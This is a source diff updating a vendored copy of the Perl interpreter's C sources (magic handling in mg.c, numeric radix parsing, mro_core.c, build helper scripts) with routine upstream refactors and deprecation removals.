+++ vendor/perl/dist/mathoms.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -819,7 +819,7 @@
 
 =cut */
 
-I32
+SSize_t
 Perl_unpack_str(pTHX_ const char *pat, const char *patend, const char *s,
 		const char *strbeg, const char *strend, char **new_s, I32 ocnt,
 		U32 flags)
@@ -1081,6 +1081,7 @@
 char *
 Perl_sv_collxfrm(pTHX_ SV *const sv, STRLEN *const nxp)
 {
+    PERL_ARGS_ASSERT_SV_COLLXFRM;
     return sv_collxfrm_flags(sv, nxp, SV_GMAGIC);
 }
 
@@ -1100,6 +1101,7 @@
 bool
 Perl_sv_2bool(pTHX_ SV *const sv)
 {
+    PERL_ARGS_ASSERT_SV_2BOOL;
     return sv_2bool_flags(sv, SV_GMAGIC);
 }
 
@@ -1693,36 +1695,6 @@
 }
 
 /*
-=for apidoc utf8_to_uvchr
-
-Returns the native code point of the first character in the string C<s>
-which is assumed to be in UTF-8 encoding; C<retlen> will be set to the
-length, in bytes, of that character.
-
-Some, but not all, UTF-8 malformations are detected, and in fact, some
-malformed input could cause reading beyond the end of the input buffer, which
-is why this function is deprecated.  Use L</utf8_to_uvchr_buf> instead.
-
-If C<s> points to one of the detected malformations, and UTF8 warnings are
-enabled, zero is returned and C<*retlen> is set (if C<retlen> isn't
-C<NULL>) to -1.  If those warnings are off, the computed value if well-defined (or
-the Unicode REPLACEMENT CHARACTER, if not) is silently returned, and C<*retlen>
-is set (if C<retlen> isn't NULL) so that (S<C<s> + C<*retlen>>) is the
-next possible position in C<s> that could begin a non-malformed character.
-See L</utf8n_to_uvchr> for details on when the REPLACEMENT CHARACTER is returned.
-
-=cut
-*/
-
-UV
-Perl_utf8_to_uvchr(pTHX_ const U8 *s, STRLEN *retlen)
-{
-    PERL_ARGS_ASSERT_UTF8_TO_UVCHR;
-
-    return utf8_to_uvchr_buf(s, s + UTF8_MAXBYTES, retlen);
-}
-
-/*
 =for apidoc utf8_to_uvuni
 
 Returns the Unicode code point of the first character in the string C<s>

Modified: vendor/perl/dist/metaconfig.h
===================================================================
--- vendor/perl/dist/metaconfig.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/metaconfig.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,4 +12,15 @@
  *
  * Symbols should only be here temporarily. Once they are actually used,
  * they should be removed from here.
+ *
+ * HAS_BUILTIN_ADD_OVERFLOW
+ * HAS_BUILTIN_MUL_OVERFLOW
+ * HAS_BUILTIN_SUB_OVERFLOW
+ * HAS_LOCALECONV_L
+ * HAS_MBRLEN
+ * HAS_MBRTOWC
+ * HAS_NANOSLEEP
+ * HAS_STRTOD_L
+ * HAS_STRTOLD_L
+ * I_WCHAR
  */

Modified: vendor/perl/dist/mg.c
===================================================================
--- vendor/perl/dist/mg.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mg.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -626,6 +626,42 @@
     mg_magical(sv);
 }
 
+/*
+=for apidoc mg_freeext
+
+Remove any magic of type C<how> using virtual table C<vtbl> from the
+SV C<sv>.  See L</sv_magic>.
+
+C<mg_freeext(sv, how, NULL)> is equivalent to C<mg_free_type(sv, how)>.
+
+=cut
+*/
+
+void
+Perl_mg_freeext(pTHX_ SV *sv, int how, const MGVTBL *vtbl)
+{
+    MAGIC *mg, *prevmg, *moremg;
+    PERL_ARGS_ASSERT_MG_FREEEXT;
+    for (prevmg = NULL, mg = SvMAGIC(sv); mg; prevmg = mg, mg = moremg) {
+	MAGIC *newhead;
+	moremg = mg->mg_moremagic;
+	if (mg->mg_type == how && (vtbl == NULL || mg->mg_virtual == vtbl)) {
+	    /* temporarily move to the head of the magic chain, in case
+	       custom free code relies on this historical aspect of mg_free */
+	    if (prevmg) {
+		prevmg->mg_moremagic = moremg;
+		mg->mg_moremagic = SvMAGIC(sv);
+		SvMAGIC_set(sv, mg);
+	    }
+	    newhead = mg->mg_moremagic;
+	    mg_free_struct(sv, mg);
+	    SvMAGIC_set(sv, newhead);
+	    mg = prevmg;
+	}
+    }
+    mg_magical(sv);
+}
+
 #include <signal.h>
 
 U32
@@ -638,8 +674,8 @@
     if (PL_curpm) {
         REGEXP * const rx = PM_GETRE(PL_curpm);
 	if (rx) {
-            UV uv= (UV)mg->mg_obj;
-            if (uv == '+') {          /* @+ */
+            const SSize_t n = (SSize_t)mg->mg_obj;
+            if (n == '+') {          /* @+ */
 		/* return the number possible */
 		return RX_NPARENS(rx);
             } else {   /* @- @^CAPTURE  @{^CAPTURE} */
@@ -650,7 +686,7 @@
 			&& (RX_OFFS(rx)[paren].start == -1
 			    || RX_OFFS(rx)[paren].end == -1) )
 		    paren--;
-                if (uv == '-') {
+                if (n == '-') {
                     /* @- */
                     return (U32)paren;
                 } else {
@@ -674,10 +710,10 @@
     if (PL_curpm) {
         REGEXP * const rx = PM_GETRE(PL_curpm);
 	if (rx) {
-            const UV uv= (UV)mg->mg_obj;
+            const SSize_t n = (SSize_t)mg->mg_obj;
             /* @{^CAPTURE} does not contain $&, so we need to increment by 1 */
             const I32 paren = mg->mg_len
-                            + (uv == '\003' ? 1 : 0);
+                            + (n == '\003' ? 1 : 0);
 	    SSize_t s;
 	    SSize_t t;
 	    if (paren < 0)
@@ -688,9 +724,9 @@
 		{
 		    SSize_t i;
 
-                    if (uv == '+')                /* @+ */
+                    if (n == '+')                /* @+ */
 			i = t;
-                    else if (uv == '-')           /* @- */
+                    else if (n == '-')           /* @- */
 			i = s;
                     else {                        /* @^CAPTURE @{^CAPTURE} */
                         CALLREG_NUMBUF_FETCH(rx,paren,sv);
@@ -710,7 +746,7 @@
 		}
 	}
     }
-    sv_setsv(sv, NULL);
+    sv_set_undef(sv);
     return 0;
 }
 
@@ -782,22 +818,78 @@
          * avoid as many possible backward compatibility issues as possible, we
          * don't turn on the flag unless we have to.  So the flag stays off for
          * an entirely invariant string.  We assume that if the string looks
-         * like UTF-8, it really is UTF-8:  "text in any other encoding that
-         * uses bytes with the high bit set is extremely unlikely to pass a
-         * UTF-8 validity test"
+         * like UTF-8 in a single script, it really is UTF-8:  "text in any
+         * other encoding that uses bytes with the high bit set is extremely
+         * unlikely to pass a UTF-8 validity test"
          * (http://en.wikipedia.org/wiki/Charset_detection).  There is a
          * potential that we will get it wrong however, especially on short
-         * error message text.  (If it turns out to be necessary, we could also
-         * keep track if the current LC_MESSAGES locale is UTF-8) */
-        if (! IN_BYTES  /* respect 'use bytes' */
-            && ! is_utf8_invariant_string((U8*) SvPVX_const(sv), SvCUR(sv))
-            && is_utf8_string((U8*) SvPVX_const(sv), SvCUR(sv)))
-        {
+         * error message text, so do an additional check. */
+        if ( ! IN_BYTES  /* respect 'use bytes' */
+            && is_utf8_non_invariant_string((U8*) SvPVX_const(sv), SvCUR(sv))
+
+#ifdef USE_LOCALE_MESSAGES
+
+            &&  _is_cur_LC_category_utf8(LC_MESSAGES)
+
+#else   /* If can't check directly, at least can see if script is consistent,
+           under UTF-8, which gives us an extra measure of confidence. */
+
+            && isSCRIPT_RUN((const U8 *) SvPVX_const(sv), (U8 *) SvEND(sv),
+                            TRUE) /* Means assume UTF-8 */
+#endif
+
+        ) {
             SvUTF8_on(sv);
         }
     }
 }
 
+/*
+=for apidoc Am|SV *|sv_string_from_errnum|int errnum|SV *tgtsv
+
+Generates the message string describing an OS error and returns it as
+an SV.  C<errnum> must be a value that C<errno> could take, identifying
+the type of error.
+
+If C<tgtsv> is non-null then the string will be written into that SV
+(overwriting existing content) and it will be returned.  If C<tgtsv>
+is a null pointer then the string will be written into a new mortal SV
+which will be returned.
+
+The message will be taken from whatever locale would be used by C<$!>,
+and will be encoded in the SV in whatever manner would be used by C<$!>.
+The details of this process are subject to future change.  Currently,
+the message is taken from the C locale by default (usually producing an
+English message), and from the currently selected locale when in the scope
+of the C<use locale> pragma.  A heuristic attempt is made to decode the
+message from the locale's character encoding, but it will only be decoded
+as either UTF-8 or ISO-8859-1.  It is always correctly decoded in a UTF-8
+locale, usually in an ISO-8859-1 locale, and never in any other locale.
+
+The SV is always returned containing an actual string, and with no other
+OK bits set.  Unlike C<$!>, a message is even yielded for C<errnum> zero
+(meaning success), and if no useful message is available then a useless
+string (currently empty) is returned.
+
+=cut
+*/
+
+SV *
+Perl_sv_string_from_errnum(pTHX_ int errnum, SV *tgtsv)
+{
+    char const *errstr;
+    if(!tgtsv)
+	tgtsv = sv_newmortal();
+    errstr = my_strerror(errnum);
+    if(errstr) {
+	sv_setpv(tgtsv, errstr);
+	fixup_errno_string(tgtsv);
+    } else {
+	SvPVCLEAR(tgtsv);
+    }
+    return tgtsv;
+}
+
 #ifdef VMS
 #include <descrip.h>
 #include <starlet.h>
@@ -849,7 +941,7 @@
     case '\005':  /* ^E */
 	 if (nextchar != '\0') {
             if (strEQ(remaining, "NCODING"))
-                sv_setsv(sv, NULL);
+                sv_set_undef(sv);
             break;
         }
 
@@ -900,6 +992,7 @@
 	break;
 #endif  /* End of platforms with special handling for $^E; others just fall
            through to $! */
+    /* FALLTHROUGH */
 
     case '!':
 	{
@@ -918,14 +1011,12 @@
                 SvPVCLEAR(sv);
             }
             else {
-
-                /* Strerror can return NULL on some platforms, which will
-                 * result in 'sv' not being considered SvOK.  The SvNOK_on()
+                sv_string_from_errnum(errno, sv);
+                /* If no useful string is available, don't
+                 * claim to have a string part.  The SvNOK_on()
                  * below will cause just the number part to be valid */
-                sv_setpv(sv, my_strerror(errno));
-                if (SvOK(sv)) {
-                    fixup_errno_string(sv);
-                }
+                if (!SvCUR(sv))
+                    SvPOK_off(sv);
             }
             RESTORE_ERRNO;
 	}
@@ -951,7 +1042,7 @@
 	break;
     case '\014':		/* ^LAST_FH */
 	if (strEQ(remaining, "AST_FH")) {
-	    if (PL_last_in_gv) {
+	    if (PL_last_in_gv && (SV*)PL_last_in_gv != &PL_sv_undef) {
 		assert(isGV_with_GP(PL_last_in_gv));
 		SV_CHECK_THINKFIRST_COW_DROP(sv);
 		prepare_SV_for_RV(sv);
@@ -960,7 +1051,8 @@
 		SvROK_on(sv);
 		sv_rvweaken(sv);
 	    }
-	    else sv_setsv_nomg(sv, NULL);
+	    else
+                sv_set_undef(sv);
 	}
 	break;
     case '\017':		/* ^O & ^OPEN */
@@ -976,7 +1068,7 @@
         sv_setiv(sv, (IV)PL_perldb);
 	break;
     case '\023':		/* ^S */
-        {
+	if (nextchar == '\0') {
 	    if (PL_parser && PL_parser->lex_state != LEX_NOTPARSING)
 		SvOK_off(sv);
 	    else if (PL_in_eval)
@@ -984,6 +1076,18 @@
 	    else
 		sv_setiv(sv, 0);
 	}
+	else if (strEQ(remaining, "AFE_LOCALES")) {
+
+#if ! defined(USE_ITHREADS) || defined(USE_THREAD_SAFE_LOCALE)
+
+	    sv_setuv(sv, (UV) 1);
+
+#else
+	    sv_setuv(sv, (UV) 0);
+
+#endif
+
+        }
 	break;
     case '\024':		/* ^T */
 	if (nextchar == '\0') {
@@ -1017,14 +1121,7 @@
                 goto set_undef;
 	    }
             else if (PL_compiling.cop_warnings == pWARN_ALL) {
-		/* Get the bit mask for $warnings::Bits{all}, because
-		 * it could have been extended by warnings::register */
-		HV * const bits = get_hv("warnings::Bits", 0);
-		SV ** const bits_all = bits ? hv_fetchs(bits, "all", FALSE) : NULL;
-		if (bits_all)
-		    sv_copypv(sv, *bits_all);
-	        else
-		    sv_setpvn(sv, WARN_ALLstring, WARNsize);
+		sv_setpvn(sv, WARN_ALLstring, WARNsize);
 	    }
             else {
 	        sv_setpvn(sv, (char *) (PL_compiling.cop_warnings + 1),
@@ -1656,7 +1753,7 @@
 	     * access to a known hint bit in a known OP, we can't
 	     * tell whether HINT_STRICT_REFS is in force or not.
 	     */
-	    if (!strchr(s,':') && !strchr(s,'\''))
+	    if (!memchr(s, ':', len) && !memchr(s, '\'', len))
 		Perl_sv_insert_flags(aTHX_ sv, 0, 0, STR_WITH_LEN("main::"),
 				     SV_GMAGIC);
 	    if (i)
@@ -2061,7 +2158,7 @@
     if (obj) {
 	sv_setiv(sv, AvFILL(obj));
     } else {
-	sv_setsv(sv, NULL);
+        sv_set_undef(sv);
     }
     return 0;
 }
@@ -2090,12 +2187,12 @@
     PERL_UNUSED_CONTEXT;
 
     /* Reset the iterator when the array is cleared */
-#if IVSIZE == I32SIZE
-    *((IV *) &(mg->mg_len)) = 0;
-#else
-    if (mg->mg_ptr)
-        *((IV *) mg->mg_ptr) = 0;
-#endif
+    if (sizeof(IV) == sizeof(SSize_t)) {
+	*((IV *) &(mg->mg_len)) = 0;
+    } else {
+	if (mg->mg_ptr)
+	    *((IV *) mg->mg_ptr) = 0;
+    }
 
     return 0;
 }
@@ -2139,7 +2236,7 @@
 	    sv_setuv(sv, i);
 	    return 0;
     }
-    sv_setsv(sv,NULL);
+    sv_set_undef(sv);
     return 0;
 }
 
@@ -2197,8 +2294,8 @@
     const char * const tmps = SvPV_const(lsv,len);
     STRLEN offs = LvTARGOFF(sv);
     STRLEN rem = LvTARGLEN(sv);
-    const bool negoff = LvFLAGS(sv) & 1;
-    const bool negrem = LvFLAGS(sv) & 2;
+    const bool negoff = LvFLAGS(sv) & LVf_NEG_OFF;
+    const bool negrem = LvFLAGS(sv) & LVf_NEG_LEN;
 
     PERL_ARGS_ASSERT_MAGIC_GETSUBSTR;
     PERL_UNUSED_ARG(mg);
@@ -2229,8 +2326,8 @@
     SV * const lsv = LvTARG(sv);
     STRLEN lvoff = LvTARGOFF(sv);
     STRLEN lvlen = LvTARGLEN(sv);
-    const bool negoff = LvFLAGS(sv) & 1;
-    const bool neglen = LvFLAGS(sv) & 2;
+    const bool negoff = LvFLAGS(sv) & LVf_NEG_OFF;
+    const bool neglen = LvFLAGS(sv) & LVf_NEG_LEN;
 
     PERL_ARGS_ASSERT_MAGIC_SETSUBSTR;
     PERL_UNUSED_ARG(mg);
@@ -2311,7 +2408,7 @@
     PERL_UNUSED_ARG(mg);
 
     /* non-zero errflags implies deferred out-of-range condition */
-    assert(!(errflags & ~(1|4)));
+    assert(!(errflags & ~(LVf_NEG_OFF|LVf_OUT_OF_RANGE)));
     sv_setuv(sv, errflags ? 0 : do_vecget(lsv, LvTARGOFF(sv), LvTARGLEN(sv)));
 
     return 0;
@@ -2430,6 +2527,15 @@
 }
 
 int
+Perl_magic_setnonelem(pTHX_ SV *sv, MAGIC *mg)
+{
+    PERL_ARGS_ASSERT_MAGIC_SETNONELEM;
+    PERL_UNUSED_ARG(mg);
+    sv_unmagic(sv, PERL_MAGIC_nonelem);
+    return 0;
+}
+
+int
 Perl_magic_killbackrefs(pTHX_ SV *sv, MAGIC *mg)
 {
     PERL_ARGS_ASSERT_MAGIC_KILLBACKREFS;
@@ -2681,7 +2787,8 @@
 	FmLINES(PL_bodytarget) = 0;
 	if (SvPOK(PL_bodytarget)) {
 	    char *s = SvPVX(PL_bodytarget);
-	    while ( ((s = strchr(s, '\n'))) ) {
+            char *e = SvEND(PL_bodytarget);
+	    while ( ((s = (char *) memchr(s, '\n', e - s))) ) {
 		FmLINES(PL_bodytarget)++;
 		s++;
 	    }
@@ -2714,26 +2821,17 @@
 	if (*(mg->mg_ptr+1) == '\0') {
 #ifdef VMS
 	    set_vaxc_errno(SvIV(sv));
-#else
-#  ifdef WIN32
+#elif defined(WIN32)
 	    SetLastError( SvIV(sv) );
-#  else
-#    ifdef OS2
+#elif defined(OS2)
 	    os2_setsyserrno(SvIV(sv));
-#    else
+#else
 	    /* will anyone ever use this? */
 	    SETERRNO(SvIV(sv), 4);
-#    endif
-#  endif
 #endif
 	}
-	else {
-            if (strEQ(mg->mg_ptr + 1, "NCODING") && SvOK(sv))
-                        if (PL_localizing != 2) {
-                            deprecate_fatal_in("5.28",
-                               "${^ENCODING} is no longer supported");
-                        }
-        }
+	else if (strEQ(mg->mg_ptr + 1, "NCODING") && SvOK(sv))
+            Perl_croak(aTHX_ "${^ENCODING} is no longer supported");
 	break;
     case '\006':	/* ^F */
 	PL_maxsysfd = SvIV(sv);
@@ -2823,25 +2921,18 @@
 		}
 		{
 		    STRLEN len, i;
-		    int accumulate = 0 ;
-		    int any_fatals = 0 ;
-		    const char * const ptr = SvPV_const(sv, len) ;
+		    int not_none = 0, not_all = 0;
+		    const U8 * const ptr = (const U8 *)SvPV_const(sv, len) ;
 		    for (i = 0 ; i < len ; ++i) {
-		        accumulate |= ptr[i] ;
-		        any_fatals |= (ptr[i] & 0xAA) ;
+			not_none |= ptr[i];
+			not_all |= ptr[i] ^ 0x55;
 		    }
-		    if (!accumulate) {
+		    if (!not_none) {
 		        if (!specialWARN(PL_compiling.cop_warnings))
 			    PerlMemShared_free(PL_compiling.cop_warnings);
 			PL_compiling.cop_warnings = pWARN_NONE;
-		    }
-		    /* Yuck. I can't see how to abstract this:  */
-		    else if (isWARN_on(
-                                ((STRLEN *)SvPV_nolen_const(sv)) - 1,
-                                WARN_ALL)
-                            && !any_fatals)
-                    {
-			if (!specialWARN(PL_compiling.cop_warnings))
+		    } else if (len >= WARNsize && !not_all) {
+		        if (!specialWARN(PL_compiling.cop_warnings))
 			    PerlMemShared_free(PL_compiling.cop_warnings);
 	                PL_compiling.cop_warnings = pWARN_ALL;
 	                PL_dowarn |= G_WARN_ONCE ;
@@ -2915,10 +3006,9 @@
 	break;
     case '/':
         {
-            SV *tmpsv= sv;
             if (SvROK(sv)) {
-                SV *referent= SvRV(sv);
-                const char *reftype= sv_reftype(referent, 0);
+                SV *referent = SvRV(sv);
+                const char *reftype = sv_reftype(referent, 0);
                 /* XXX: dodgy type check: This leaves me feeling dirty, but
                  * the alternative is to copy pretty much the entire
                  * sv_reftype() into this routine, or to do a full string
@@ -2927,23 +3017,21 @@
                  * without reviewing the corresponding comment in
                  * sv_reftype(). - Yves */
                 if (reftype[0] == 'S' || reftype[0] == 'L') {
-                    IV val= SvIV(referent);
+                    IV val = SvIV(referent);
                     if (val <= 0) {
-                        tmpsv= &PL_sv_undef;
-                        Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED),
-                            "Setting $/ to a reference to %s as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28",
-                            SvIV(SvRV(sv)) < 0 ? "a negative integer" : "zero"
-                        );
+                        sv_setsv(sv, PL_rs);
+                        Perl_croak(aTHX_ "Setting $/ to a reference to %s is forbidden",
+                                         val < 0 ? "a negative integer" : "zero");
                     }
                 } else {
                     sv_setsv(sv, PL_rs);
-              /* diag_listed_as: Setting $/ to %s reference is forbidden */
+                    /* diag_listed_as: Setting $/ to %s reference is forbidden */
                     Perl_croak(aTHX_ "Setting $/ to a%s %s reference is forbidden",
                                       *reftype == 'A' ? "n" : "", reftype);
                 }
             }
             SvREFCNT_dec(PL_rs);
-            PL_rs = newSVsv(tmpsv);
+            PL_rs = newSVsv(sv);
         }
 	break;
     case '\\':
@@ -3002,26 +3090,22 @@
 	}
 #ifdef HAS_SETRUID
 	PERL_UNUSED_RESULT(setruid(new_uid));
-#else
-#ifdef HAS_SETREUID
+#elif defined(HAS_SETREUID)
         PERL_UNUSED_RESULT(setreuid(new_uid, (Uid_t)-1));
-#else
-#ifdef HAS_SETRESUID
+#elif defined(HAS_SETRESUID)
         PERL_UNUSED_RESULT(setresuid(new_uid, (Uid_t)-1, (Uid_t)-1));
 #else
 	if (new_uid == PerlProc_geteuid()) {		/* special case $< = $> */
-#ifdef PERL_DARWIN
+#  ifdef PERL_DARWIN
 	    /* workaround for Darwin's setuid peculiarity, cf [perl #24122] */
 	    if (new_uid != 0 && PerlProc_getuid() == 0)
                 PERL_UNUSED_RESULT(PerlProc_setuid(0));
-#endif
+#  endif
             PERL_UNUSED_RESULT(PerlProc_setuid(new_uid));
 	} else {
 	    Perl_croak(aTHX_ "setruid() not implemented");
 	}
 #endif
-#endif
-#endif
 	break;
 	}
     case '>':
@@ -3035,11 +3119,9 @@
 	}
 #ifdef HAS_SETEUID
 	PERL_UNUSED_RESULT(seteuid(new_euid));
-#else
-#ifdef HAS_SETREUID
+#elif defined(HAS_SETREUID)
 	PERL_UNUSED_RESULT(setreuid((Uid_t)-1, new_euid));
-#else
-#ifdef HAS_SETRESUID
+#elif defined(HAS_SETRESUID)
 	PERL_UNUSED_RESULT(setresuid((Uid_t)-1, new_euid, (Uid_t)-1));
 #else
 	if (new_euid == PerlProc_getuid())		/* special case $> = $< */
@@ -3048,8 +3130,6 @@
 	    Perl_croak(aTHX_ "seteuid() not implemented");
 	}
 #endif
-#endif
-#endif
 	break;
 	}
     case '(':
@@ -3063,11 +3143,9 @@
 	}
 #ifdef HAS_SETRGID
 	PERL_UNUSED_RESULT(setrgid(new_gid));
-#else
-#ifdef HAS_SETREGID
+#elif defined(HAS_SETREGID)
 	PERL_UNUSED_RESULT(setregid(new_gid, (Gid_t)-1));
-#else
-#ifdef HAS_SETRESGID
+#elif defined(HAS_SETRESGID)
         PERL_UNUSED_RESULT(setresgid(new_gid, (Gid_t)-1, (Gid_t) -1));
 #else
 	if (new_gid == PerlProc_getegid())			/* special case $( = $) */
@@ -3076,8 +3154,6 @@
 	    Perl_croak(aTHX_ "setrgid() not implemented");
 	}
 #endif
-#endif
-#endif
 	break;
 	}
     case ')':
@@ -3146,11 +3222,9 @@
 	}
 #ifdef HAS_SETEGID
 	PERL_UNUSED_RESULT(setegid(new_egid));
-#else
-#ifdef HAS_SETREGID
+#elif defined(HAS_SETREGID)
 	PERL_UNUSED_RESULT(setregid((Gid_t)-1, new_egid));
-#else
-#ifdef HAS_SETRESGID
+#elif defined(HAS_SETRESGID)
 	PERL_UNUSED_RESULT(setresgid((Gid_t)-1, new_egid, (Gid_t)-1));
 #else
 	if (new_egid == PerlProc_getgid())			/* special case $) = $( */
@@ -3159,8 +3233,6 @@
 	    Perl_croak(aTHX_ "setegid() not implemented");
 	}
 #endif
-#endif
-#endif
 	break;
 	}
     case ':':

Modified: vendor/perl/dist/mg_names.inc
===================================================================
--- vendor/perl/dist/mg_names.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mg_names.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -45,6 +45,7 @@
 	{ PERL_MAGIC_vec,            "vec(v)" },
 	{ PERL_MAGIC_utf8,           "utf8(w)" },
 	{ PERL_MAGIC_substr,         "substr(x)" },
+	{ PERL_MAGIC_nonelem,        "nonelem(Y)" },
 	{ PERL_MAGIC_defelem,        "defelem(y)" },
 	{ PERL_MAGIC_lvref,          "lvref(\\)" },
 	{ PERL_MAGIC_checkcall,      "checkcall(])" },

Modified: vendor/perl/dist/mg_raw.h
===================================================================
--- vendor/perl/dist/mg_raw.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mg_raw.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -78,6 +78,8 @@
       "/* utf8 'w' Cached UTF-8 information */" },
     { 'x', "want_vtbl_substr | PERL_MAGIC_VALUE_MAGIC",
       "/* substr 'x' substr() lvalue */" },
+    { 'Y', "want_vtbl_nonelem | PERL_MAGIC_VALUE_MAGIC",
+      "/* nonelem 'Y' Array element that does not exist */" },
     { 'y', "want_vtbl_defelem | PERL_MAGIC_VALUE_MAGIC",
       "/* defelem 'y' Shadow \"foreach\" iterator variable / smart parameter vivification */" },
     { '\\', "want_vtbl_lvref",

Modified: vendor/perl/dist/mg_vtable.h
===================================================================
--- vendor/perl/dist/mg_vtable.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mg_vtable.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -52,6 +52,7 @@
 #define PERL_MAGIC_vec            'v' /* vec() lvalue */
 #define PERL_MAGIC_utf8           'w' /* Cached UTF-8 information */
 #define PERL_MAGIC_substr         'x' /* substr() lvalue */
+#define PERL_MAGIC_nonelem        'Y' /* Array element that does not exist */
 #define PERL_MAGIC_defelem        'y' /* Shadow "foreach" iterator variable /
                                          smart parameter vivification */
 #define PERL_MAGIC_lvref          '\\' /* Lvalue reference constructor */
@@ -76,6 +77,7 @@
     want_vtbl_lvref,
     want_vtbl_mglob,
     want_vtbl_nkeys,
+    want_vtbl_nonelem,
     want_vtbl_ovrld,
     want_vtbl_pack,
     want_vtbl_packelem,
@@ -112,6 +114,7 @@
     "lvref",
     "mglob",
     "nkeys",
+    "nonelem",
     "ovrld",
     "pack",
     "packelem",
@@ -171,6 +174,7 @@
   { 0, Perl_magic_setlvref, 0, 0, 0, 0, 0, 0 },
   { 0, Perl_magic_setmglob, 0, 0, 0, 0, 0, 0 },
   { Perl_magic_getnkeys, Perl_magic_setnkeys, 0, 0, 0, 0, 0, 0 },
+  { 0, Perl_magic_setnonelem, 0, 0, 0, 0, 0, 0 },
   { 0, 0, 0, 0, Perl_magic_freeovrld, 0, 0, 0 },
   { 0, 0, Perl_magic_sizepack, Perl_magic_wipepack, 0, 0, 0, 0 },
   { Perl_magic_getpack, Perl_magic_setpack, 0, Perl_magic_clearpack, 0, 0, 0, 0 },
@@ -216,6 +220,7 @@
 #define PL_vtbl_lvref PL_magic_vtables[want_vtbl_lvref]
 #define PL_vtbl_mglob PL_magic_vtables[want_vtbl_mglob]
 #define PL_vtbl_nkeys PL_magic_vtables[want_vtbl_nkeys]
+#define PL_vtbl_nonelem PL_magic_vtables[want_vtbl_nonelem]
 #define PL_vtbl_ovrld PL_magic_vtables[want_vtbl_ovrld]
 #define PL_vtbl_pack PL_magic_vtables[want_vtbl_pack]
 #define PL_vtbl_packelem PL_magic_vtables[want_vtbl_packelem]

Modified: vendor/perl/dist/miniperlmain.c
===================================================================
--- vendor/perl/dist/miniperlmain.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/miniperlmain.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -124,8 +124,7 @@
 	PL_perl_destruct_level = 0;
     }
     PL_exit_flags |= PERL_EXIT_DESTRUCT_END;
-    exitstatus = perl_parse(my_perl, xs_init, argc, argv, (char **)NULL);
-    if (!exitstatus)
+    if (!perl_parse(my_perl, xs_init, argc, argv, (char **)NULL))
         perl_run(my_perl);
 
 #ifndef PERL_MICRO

Modified: vendor/perl/dist/mkppport
===================================================================
--- vendor/perl/dist/mkppport	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mkppport	2018-12-22 22:55:19 UTC (rev 12126)
@@ -58,7 +58,7 @@
 
 # Change to Devel::PPPort directory, as it needs the stuff
 # from the parts/ directory
-chdir File::Spec->catdir($rootdir, 'cpan', 'Devel-PPPort');
+chdir File::Spec->catdir($rootdir, 'dist', 'Devel-PPPort');
 
 # Capture and remove temporary files
 my @unlink;

Modified: vendor/perl/dist/mkppport.lst
===================================================================
--- vendor/perl/dist/mkppport.lst	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mkppport.lst	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,5 +9,6 @@
 cpan/IPC-SysV
 cpan/Scalar-List-Utils
 cpan/Win32API-File
+dist/IO
 dist/PathTools
 dist/Time-HiRes

Modified: vendor/perl/dist/mro_core.c
===================================================================
--- vendor/perl/dist/mro_core.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/mro_core.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -790,7 +790,7 @@
 	if (name_count < 0) ++namep, name_count = -name_count - 1;
     }
     if (name_count == 1) {
-	if (HEK_LEN(*namep) == 4 && strnEQ(HEK_KEY(*namep), "main", 4)) {
+	if (memEQs(HEK_KEY(*namep), HEK_LEN(*namep), "main")) {
 	    namesv = GvNAMELEN(gv) == 1
 		? newSVpvs_flags(":", SVs_TEMP)
 		: newSVpvs_flags("",  SVs_TEMP);
@@ -812,7 +812,7 @@
 	SV *aname;
 	namesv = sv_2mortal((SV *)newAV());
 	while (name_count--) {
-	    if(HEK_LEN(*namep) == 4 && strnEQ(HEK_KEY(*namep), "main", 4)){
+	    if(memEQs(HEK_KEY(*namep), HEK_LEN(*namep), "main")){
 		aname = GvNAMELEN(gv) == 1
 		         ? newSVpvs(":")
 		         : newSVpvs("");

Modified: vendor/perl/dist/numeric.c
===================================================================
--- vendor/perl/dist/numeric.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/numeric.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -518,33 +518,44 @@
 bool
 Perl_grok_numeric_radix(pTHX_ const char **sp, const char *send)
 {
-#ifdef USE_LOCALE_NUMERIC
     PERL_ARGS_ASSERT_GROK_NUMERIC_RADIX;
 
+#ifdef USE_LOCALE_NUMERIC
+
     if (IN_LC(LC_NUMERIC)) {
+        STRLEN len;
+        char * radix;
+        bool matches_radix = FALSE;
         DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
-        STORE_LC_NUMERIC_SET_TO_NEEDED();
-        if (PL_numeric_radix_sv) {
-            STRLEN len;
-            const char * const radix = SvPV(PL_numeric_radix_sv, len);
-            if (*sp + len <= send && memEQ(*sp, radix, len)) {
-                *sp += len;
-                RESTORE_LC_NUMERIC();
-                return TRUE;
-            }
+
+        STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
+
+        radix = SvPV(PL_numeric_radix_sv, len);
+        radix = savepvn(radix, len);
+
+        RESTORE_LC_NUMERIC();
+
+        if (*sp + len <= send) {
+            matches_radix = memEQ(*sp, radix, len);
         }
-        RESTORE_LC_NUMERIC();
+
+        Safefree(radix);
+
+        if (matches_radix) {
+            *sp += len;
+            return TRUE;
+        }
     }
+
+#endif
+
     /* always try "." if numeric radix didn't match because
      * we may have data from different locales mixed */
-#endif
-
-    PERL_ARGS_ASSERT_GROK_NUMERIC_RADIX;
-
     if (*sp < send && **sp == '.') {
         ++*sp;
         return TRUE;
     }
